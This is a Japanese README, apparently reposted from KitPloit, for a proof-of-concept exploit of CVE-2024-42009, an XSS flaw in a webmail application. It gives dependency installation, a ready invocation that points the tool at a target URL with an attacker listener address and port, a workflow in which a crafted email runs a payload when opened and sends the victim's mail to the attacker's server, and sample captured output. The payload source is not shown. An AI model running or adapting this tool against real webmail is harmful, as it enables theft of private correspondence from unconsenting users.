CVE-2024-42009 PoC: メールキャプチャリスナー & XSSエクスプロイト

概要

この概念実証（PoC）は、CVE-2024-42009のエクスプロイトを示すもので、クロスサイトスクリプティング（XSS）の脆弱性を利用してターゲットのウェブメールアプリケーションからメールを抽出します。攻撃は、メールコンテンツを攻撃者の制御するリスナーに流出させる悪意のあるペイロードを注入します。

特徴

• XSS脆弱性を悪用してメールコンテンツをキャプチャします。
• HTTPリスナーを使用して流出したメールを受信しデコードします。
• ペイロードの注入と流出を自動化します。

必要条件

• Python 3.x
• 必要な依存関係（pipでインストール）:
  root@kitploit:~

  pip install requests beautifulsoup4
  

使用方法

必要な引数を指定してスクリプトを実行します:

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

パラメータ

攻撃ワークフロー

1. リスナーを起動: スクリプトは抽出したメールをキャプチャするためのHTTPサーバーを起動します。
2. 悪意のあるペイロードを注入: XSSペイロードが細工されたメールを介して送信されます。
3. 実行をトリガー: 被害者がメールを開くと、ペイロードが実行され、メールコンテンツが攻撃者のサーバーに送信されます。
4. キャプチャとデコード: 抽出されたメールコンテンツがデコードされて表示されます。

出力例

[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)

[+] Captured Email Content:
Hello, this is a test email!

免責事項

私は、このGitHubリポジトリでホストされている脆弱性およびそれに対応するすべてのエクスプロイトのクレジット/所有権/開示を主張しません。すべてのクレジットは、それを発見した研究者に帰属します。私はインターネット上のデータに基づいて脆弱性を再現するためのPoCを作成したに過ぎません。 このPoCは教育および研究目的のみに使用されます。同意なしにシステムに対して許可のないテストを行うことは違法です。責任を持って使用してください！